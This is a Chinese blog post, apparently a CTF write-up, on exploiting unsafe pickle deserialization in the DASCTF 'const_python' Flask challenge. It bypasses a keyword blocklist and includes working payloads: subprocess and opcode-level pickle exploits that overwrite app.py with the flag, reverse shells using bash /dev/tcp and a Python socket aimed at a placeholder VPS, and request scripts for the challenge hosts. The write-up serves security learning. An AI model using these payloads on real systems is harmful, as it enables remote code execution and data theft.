2025-08-26-每日一题
[DASCTF 2024最后一战|寒夜破晓,冬至终章]const_python
学习pickle反序列化
url/src有源码
点击查看代码
import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")
class User:
def __init__(self, username, password, auth='ctfer'):
self.username = username
self.password = password
self.auth = auth
password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")
@app.route('/')
def index():
return "Welcome to my application"
@app.route('/login', methods=['GET', 'POST'])
def post_login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin' :
if password == admin.password:
session['username'] = "admin"
return "Welcome Admin"
else:
return "Invalid Credentials"
else:
session['username'] = username
return '''
<form method="post">
<!-- /src may help you>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
'''
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:
pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
@app.route('/admin', methods=['POST'])
def admin():
username = session['username']
if username != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"
@app.route('/src')
def src():
return open("app.py", "r",encoding="utf-8").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5000)
由于好像buu可能是出网有限制,用文件外带
payload
点击查看代码
import pickle
import subprocess
import base64
import requests
import re
# 执行后访问 /src 目录
class EvilObject:
def __reduce__(self):
# 使用 subprocess.run 执行 "dir" 命令
return (subprocess.run, (["bash","-c","cat ../../../flag > app.py" ],),{"shell": True})
# 创建恶意对象
evil_object = EvilObject()
# 序列化恶意对象
pickled_data = pickle.dumps(evil_object)
# base64 编码序列化对象
pickled_data_base64 = base64.b64encode(pickled_data).decode('utf-8')
# 输出序列化后的 Base64 编码
print("Base64 Encoded Pickled Data:")
print(pickled_data_base64)
url = 'http://9039b319-14fe-4258-a484-b84db102cf2b.node5.buuoj.cn:81/ppicklee'
# 要发送的POST数据,通常是字典格式
data = {'data': pickled_data_base64}
# 发送POST请求
response = requests.post(url, data=data)
# 打印响应的状态码和内容
print('Status Code:', response.status_code)
print('Response Text:', response.text)
# 访问新的地址
new_url = 'http://9039b319-14fe-4258-a484-b84db102cf2b.node5.buuoj.cn:81/src'
new_response = requests.get(new_url)
# 打印新的地址的响应状态码和内容
print('New Status Code:', new_response.status_code)
print('New Response Text:')
print(new_response.text)
# 匹配并打印出响应中的 DASCTF{******} 这一段字符
match = re.search(r'DASCTF{.*}', new_response.text)
if match:
print('Flag:', match.group(0))
else:
print('No flag found in the response.')

用VPS反弹(没弹出来)
提供脚本
点击查看代码
import os
import subprocess
import pickle
import base64
class RCE:
def __reduce__(self):
# 反弹Shell命令(替换为你自己的IP和端口)
cmd = "bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'"
# 或使用Python反弹Shell(兼容性更好):
# cmd = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"your_ip\",your_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
return os.system, (cmd,)
a = RCE()
b = pickle.dumps(a)
print(base64.b64encode(b))
得到一个字符串后再访问
点击查看代码
import requests
# 替换成你的Payload和实际目标URL
payload = b'字符串'
url = "http://7dee2e44-d79f-480b-a302-51f6c76e7159.node5.buuoj.cn:81/ppicklee"
payload_param = "data"
try:
response = requests.post(
url=url,
data={payload_param: payload},
timeout=5
)
print(f"状态码: {response.status_code}")
print(f"响应内容: {response.text[:200]}")
except Exception as e:
print(f"请求失败: {str(e)}")

暂时没弹出去
思路是在/ppicklee目录触发pickle反序列化实现命令执行
用flag文件内容把app.py文件覆盖掉,直接破坏原来的文件,一个方法是"-c",这样是把flag文件内容附加到app.py文件下方
参考
https://xu17.top/2024/12/23/2024DASCTF/#Web
https://matriy330.github.io/c510533a/#const-python
下面是pker解法
看代码
点击查看代码
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
# 获取 pickle payload
data = request.form['data']
# 禁止使用 os 和 sys
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:
pickle_data = base64.b64decode(data)
# 不允许出现下列字符串
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
读这部分代码,发现可以使用 open, write:
payload:
点击查看代码
getattr = GLOBAL('builtins', 'getattr') # 从内置函数中获取 getattr 这个内置函数
open = GLOBAL('builtins', 'open') # 同样,我们获取到 open 这个内置函数
f = open('/flag') # 获取到 flag 的文件对象
read = getattr(f, 'read') # 注意,这个地方的 read 是独属于 f 文件对象的 read,相当于 read = f.read
content = read() # 获取到 flag 的内容
src = open('./app.py', 'w') # 获取到源代码的文件对象,这是我们唯一一个我们能拿到回显的地方了
write = getattr(src, 'write') # 拿到源代码的 write 函数
write(content) # 写入
return # 返回
我们再使用pker生成
python pker.py < payload.txt
得到
点击查看代码
b"cbuiltins\ngetattr\np0\n0cbuiltins\nopen\np1\n0g1\n(S'/flag'\ntRp2\n0g0\n(g2\nS'read'\ntRp3\n0g3\n(tRp4\n0g1\n(S'./app.py'\nS'w'\ntRp5\n0g0\n(g5\nS'write'\ntRp6\n0g6\n(g4\ntR."
然后再利用脚本转换为base64字符
点击查看代码
import base64
payload = b"cbuiltins\ngetattr\np0\n0cbuiltins\nopen\np1\n0g1\n(S'/flag'\ntRp2\n0g0\n(g2\nS'read'\ntRp3\n0g3\n(tRp4\n0g1\n(S'./app.py'\nS'w'\ntRp5\n0g0\n(g5\nS'write'\ntRp6\n0g6\n(g4\ntR."
encoded_payload = base64.urlsafe_b64encode(payload)
print(encoded_payload.decode('utf-8'))
得到
Y2J1aWx0aW5zCmdldGF0dHIKcDAKMGNidWlsdGlucwpvcGVuCnAxCjBnMQooUycvZmxhZycKdFJwMgowZzAKKGcyClMncmVhZCcKdFJwMwowZzMKKHRScDQKMGcxCihTJy4vYXBwLnB5JwpTJ3cnCnRScDUKMGcwCihnNQpTJ3dyaXRlJwp0UnA2CjBnNgooZzQKdFIu


最后在/ppicklee 中,POST输入data,然后访问 /src 即可拿到 flag 。
参考:
https://www.cnblogs.com/jeb-bem/articles/18852810/DASCTF-const-python
https://xz.aliyun.com/news/6608

浙公网安备 33010602011771号